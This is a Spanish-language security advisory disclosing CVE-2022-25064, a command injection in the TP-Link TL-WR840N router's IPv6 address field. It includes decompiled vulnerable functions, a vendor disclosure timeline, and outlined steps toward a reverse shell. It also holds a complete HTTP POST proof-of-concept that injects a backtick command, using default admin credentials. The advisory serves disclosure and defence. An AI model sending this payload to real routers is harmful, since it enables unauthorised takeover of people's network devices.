OS Command Injection in TPLINK TL-WR840N – CVE-2022-25064

OS Command Injection in TPLINK TL-WR840N

Version TL-WR840N(ES)_V6.20_180709

CVE-2022-25064
Aviso de Seguridad 006

Samir Sánchez Garnica
Luis Eduardo Jácome Valencia

Descripción de la vulnerabilidad

TL-WR840N

Router TPLINK Tl-WR840N Inalámbrico es un dispositivo con velocidad de transmisión de 300 Megabit por segundo (Mbps). Es el dispositivo de red justo para tareas cotidianas que requieren banda ancha y trabajos del día a día.

EL PROBLEMA

Esta versión es afectada por la ejecución de código remoto bajo el objeto oal_wan6_setIpAddr.

VERSIONES AFECTADAS

Se estima que las versiones afectadas sean <= TL-WR840N(ES)_V6.20_180709

Línea de tiempo
FechaAcción
10/12/2021Aviso enviado a la respuesta a incidentes de seguridad de productos TPLINK
13/12/2021Se recibe una respuesta con el equipo de seguridad de TPLINK
02/02/2022Se recibe una version beta y se verifica la mitigacion de la vulnerabilidad
09/02/2022Se cierra el caso con el hallazgo identificado
Linea de tiempo

Descripción técnica y prueba de concepto (PoC)

Identificación de vulnerabilidad a traves de la ingenieria inversa

Esta vulnerabilidad es descubierta bajo el modulo de libreria denominado libcmm.so , la cual procesa parametros que son enviados desde el servidor web. estos parametros aunque son validados solamenta bajo un size de peticion de tamaño 40 para el caso del argumento X_TP_ExternalIPv6Address , a nivel de caracteres no existe un filtro de validación real en cumplimiento al input de una direccion ipv6 real.

a continuacion puede identificar el segmento de codigo vulnerable.

undefined4 oal_wan6_setIpAddr(undefined4 param_1,undefined4 param_2,undefined4 param_3)

{
  util_execSystem("oal_wan6_setIpAddr","ifconfig %s add %s/%d",param_2,param_1,param_3);
  return 0;
}

La funcion vulnerable es llamada desde el objeto rsl_setDsliteObject, se hace una reserva de memoria de un tamaño de 0x28 o 40 bytes, finalmente es pasado a la función oal_wan6_setIpAddr

int rsl_setDsliteObj(undefined4 param_1,int param_2)

{
  int iVar1;
  int iVar2;
  undefined2 local_a0;
  undefined2 local_9e;
  undefined2 local_9c;
  undefined2 local_9a;
  undefined2 local_98;
  undefined2 local_96;
  undefined2 local_94;
  undefined auStack144 [40];
  undefined auStack104 [8];
  char local_60;
  char local_50;
  char local_4f [63];
  
  local_a0 = 0;
  local_9e = 0;
  local_9c = 0;
  local_9a = 0;
  local_98 = 0;
  local_96 = 0;
  local_94 = 0;
  memset(auStack144,0,0x28);
  iVar1 = rsl_getObj(0x87,&local_a0,0x54,auStack104);
  if (iVar1 == 0) {
    if ((*(char *)(param_2 + 2) == '\0') || (local_50 == '\0')) {
      oal_dslite_delTunnel();
    }
    else {
      if ((*(char *)(param_2 + 4) != '\0') &&
         (iVar2 = util_netChkColonIp6Addr(param_2 + 4), iVar2 == 0)) {
        cdbg_printf(8,"rsl_setDsliteObj",0x1d1,"DSLITE Remote IPv6 Address is invalid(%s)!",
                    param_2 + 4);
        return 1;
      }
      cstr_strncpy(auStack144,local_4f,0x28);
      if ((((local_50 == '\x01') && (*(char *)(param_2 + 4) != '\0')) && (local_60 != '\0')) &&
         (local_4f[0] != '\0')) {
        oal_dslite_delTunnel();
        oal_dslite_addTunnel(param_2 + 4,auStack144);
        oal_wan6_setIpAddr(auStack144,"dslite",0x40);
        oal_dslite_setRoute("dslite",1);
      }
    }
  }
  else {
    cdbg_printf(8,"rsl_setDsliteObj",0x1c2,"Get IPv6 Tunnel object data failed. ret = %d",iVar1);
  }
  return iVar1;
}

Finalmente los pasos para la ejecución de codigo remoto deben ser los siguientes:

  1. el payload no debe superar un tamaño de 40 bytes, lo cual obliga a enviar varias peticiones para una explotacion de shell exitosa.
  2. el router solo cuenta con el binario tftp para descargar archivos asi que al no haber una explotación de corrupción de memoria si no de inyección de comandos debe hacer uso de los binarios ofrecidos por el router
  3. debe compilar una shellcode en c, haciendo uso de la arquitectura MIPSLE
  4. finalmente invoque la cadena de comandos para la ejecución de código remoto.

La explotación

Puede comprobar la inyección de comandos enviando el siguiente payload sobre el campo inyectable.

X_TP_ExternalIPv6Address=`cat /proc/version > /var/tmp/ver`
POST /cgi?2&2 HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: text/plain
Content-Length: 617
Origin: http://192.168.0.1
Connection: close
Referer: http://192.168.0.1/mainFrame.htm
Cookie: Authorization=Basic YWRtaW46YWRtaW4=

[WAN_ETH_INTF#1,0,0,0,0,0#0,0,0,0,0,0]0,2
X_TP_lastUsedIntf=ipoe_eth3_s
X_TP_lastUsedName=ewan_ipoe_s
[WAN_IP_CONN#1,1,1,0,0,0#0,0,0,0,0,0]1,18
externalIPAddress=172.26.26.2
subnetMask=255.255.255.0
defaultGateway=172.26.26.1
NATEnabled=1
X_TP_FullconeNATEnabled=0
X_TP_FirewallEnabled=1
maxMTUSize=1500
DNSOverrideAllowed=1
DNSServers=1.1.1.1,8.8.8.8
X_TP_IPv4Enabled=0
X_TP_IPv6Enabled=1
X_TP_IPv6AddressingType=Static
X_TP_ExternalIPv6Address=`cat /proc/version > /var/tmp/ver`
X_TP_PrefixLength=128
X_TP_DefaultIPv6Gateway=::
X_TP_IPv6DNSOverrideAllowed=1
X_TP_IPv6DNSServers=::,::
enable=1

Finalmente obtenga la reverse shell y tome control del producto.

Video prueba de concepto.

URL mitre: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-25064

URL código de explotación: https://github.com/exploitwritter/CVE-2022-25064

Deja un comentario

Web construida con WordPress.com.

Subir ↑